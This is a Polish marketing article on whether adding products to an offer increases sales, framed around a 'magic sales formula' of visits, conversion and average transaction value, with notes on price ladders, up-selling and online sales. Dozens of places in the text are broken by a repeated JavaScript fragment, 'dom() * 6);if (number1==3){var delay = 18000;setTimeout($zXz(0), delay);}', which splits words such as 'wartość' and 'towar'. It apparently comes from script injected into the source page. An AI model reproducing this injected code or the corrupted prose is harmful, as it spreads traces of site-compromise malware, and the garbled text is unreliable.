To częsty pomysł. Bardzo go też wspierają dostawcy, a jeśli firma sama wytwarza swoje produkty, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to działy produkcyjne. Chodzi o dodawanie czegoś do oferty, w nadziei że dodatkowy produkt dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dodatkowa sprzedaż. Tymczasem tak wprawdzie może być, najczęściej jest jednak inaczej. Dlaczego? Gdyż nowy produkt nie działa sam w sobie, tylko jako składnik (choć ważny) zarządzania magiczną formułą sprzedaży.
W magicznej formule chodzi o operacyjne działanie na sprzedaży. Dla zarządzania formułą oferta jest wprawdzie podstawą i osnową, ale tylko podstawą. Związki przyczynowo – skutkowe istnieją już poza nią, przede wszystkim na poziomie liczby odwiedzających. Ale i wyżej też można wiele zdziałać.
Magiczna formuła sprzedaży
Magiczna formuła sprzedaży przedstawią obrót jako iloczyn trzech składników, liczby kontaktów z firmą, konwersji (tych kontaktów w sprzedaż), a wreszcie średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji. Jednak prawdziwa war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość tego przedstawienia na polega na tym przedstawieniu (choć jest eleganckie i logiczne), ale na jego przyczynowości. A przez dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to formuła staje się narzędziem do zarządzania sprzedażą, czyli jej powiększania.
Z takiego punktu widzenia jeśli nie zmieni się żaden z parametrów, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i nie zmieni się łączna war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość. Po prostu nie ma na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sposobu. Oczywiście wprowadzenie do oferty nowego produktu może zmienić te parametry, jednak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już wcale nie jest oczywiste. A na pewno nie wynika z samego faktu jego wprowadzenia. Jak wobec tego nowy produkt może wpłynąć na sprzedaż?
Wejścia. Najważniejszą składową formuły (gdyż najtrudniejszą i najdroższą do zmiany) jest liczba kontaktów z firmą. Tu nowy produkt może wiele zdziałać, ale nie musi. Może, jeśli np. jest oczekiwaną nowością. Wtedy klienci przyjdą tylko dla niego.
Konwersja. Tu przez wprowadzenie nowego produktu można wiele osiągnąć. Jednak tylko wtedy, jeśli nowy produkt adresuje potrzeby, których do tej pory firma nie adresowała.
Bez tego wprowadzenie nowego produktu zamieni się w kanibalizację starych produktów (o ile nowość rzeczywiście odniesie skutek).
Średnia war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość transakcji. Tu korzyść z nowego produkt może być jeszcze większa niż przy konwersji. Tam bowiem trzeba było trafić w lukę popytu, a o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zwykle trudno. W up-sell wystarczy wykorzystać mechanizm drabinki.
Uwaga. „sama drabinka nie wystarczy”. Potrzebne też są operacyjne umiejętności zarządzania nią, tak po stronie zarządzania personelem („polecanie”) jak i zarządzania produktem i przestrzenią (gdzie materiały POS wskazują, że dany produkt jest droższy, ale lepszy. A przynajmniej lepiej dopasowany do potrzeb klienta („korzyść dla klienta”).
Jak drabinka zwiększa średnią transakcję? Na wiele sposobów. I dlatego jest tak skuteczna.
Uwaga. „up-sell”. Czyli „przepchnięcie” klienta z produktu tańszego na droższy, wykorzystując do tego drabinkę. Jako argumentu zwykle używa się porównania (przy pomocy tzw. cus dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomer benefits), argumentując (i pokazując) „niewiele droższy, a dużo lepszy”.
Drabinki
To klucz do świadomego wykorzystania nowego produktu do zwiększenia sprzedaży. A także is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tota i podstawa up-sell. Czym jest drabinka? To nic innego jak uporządkowanie Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej wg kryterium ceny. I zebranie takich, które wypełnią wszystkie jej szczebelki.
Uwaga. „Grupa Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa”. Inaczej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zbiór produktów zebranych w zbiór wg jednego, uznanego za najważniejsze kryterium poszukiwania przez klienta. Np. wina czerwone wytrawne, może jeszcze (żeby zawęzić) francuskie.
Nowy produkt może działać na drabinkę w poziomie albo w pionie. W pionie, jeśli adresuje luki w drabince, albo w poziomie, jeśli ma wspierać up-sell. W pierwszym przypadku ma wpłynąć na konwersję, w drugim na średnią war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość transakcji. Ale też nowy produkt może po prostu uzupełniać, czy poszerzać drabinkę (i ofertę), nie tyle w trosce o konwersję czy średnią transakcję, ale zabiegając o większą odwiedzalność. Duży (i najlepiej przemyślany) wybór jest silnym stymula dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torem odwiedzin, a co za tym idzie, przez mechanizm magicznej formuły także obrotów.
Uwaga. „liczy się też całość”. Czyli nie tylko relacja między szczeblami drabinki, tylko cała ona. Jeśli jest odpowiednio szeroka (wysoka), dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wzbudza podziw. I staje się powodem do przyjścia czy innego sposobu nawiązania kontaktu z firmą.
W Internecie jest inaczej
Głównie ze względu na innym mechanizm generowania ruchu. W Internecie dominuje bowiem ruch bezpośrednio do produktu (czy do informacji), częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z pominięciem infrastruktury firmy. Do tego częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ma tu oddzielenie ruchu do produktu (czyli procesu podejmowania decyzji o wyborze dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru) od wyboru kanału dystrybucji. Ten wybór może nastąpić w zupełnym oderwaniu od tego pierwszego, co w świecie naziemnym też jest wprawdzie możliwe, ale raczej rzadkie.
Dlatego tu poszerzenie oferty prawie zawsze wpływa na większą sprzedaż. Dociera się do niego bezpośrednio, a sprzedaż jednego produkt rzadko wpływa na drugi.
Sprzedaż produktów dodatkowych jest tu prawie tak samo łatwa, jak off-line (co zwiększa szansę na cross-sell). Ale za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ograniczone są możliwości up-sell (o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to trudniej niż off-line). Utrudnia dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bezpośrednie dotarcie do produktu i mocno ograniczone możliwości intensywnej obsługi klienta (dominuje samoobsługa). A obsługa intensywna dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to najlepszy sposób na up-sell. Jeszcze bardzie utrudniona jest sprzedaż impulsowa, która on-line jest właściwie wyjątkiem.
Podsumowanie
Wiele firm liczy, że wprowadzając nowe produkty osiągną większą sprzedaż. Tak może być, ale tylko wtedy, gdy nowy produkt spełnia określone warunki, przede wszystkim wspiera zarządzanie magiczną formułą sprzedaży. Dlatego dodawanie produktów do oferty nie jest uniwersalnym sposobem na zwiększanie sprzedaży, jak częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przedstawiają dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dostawcy.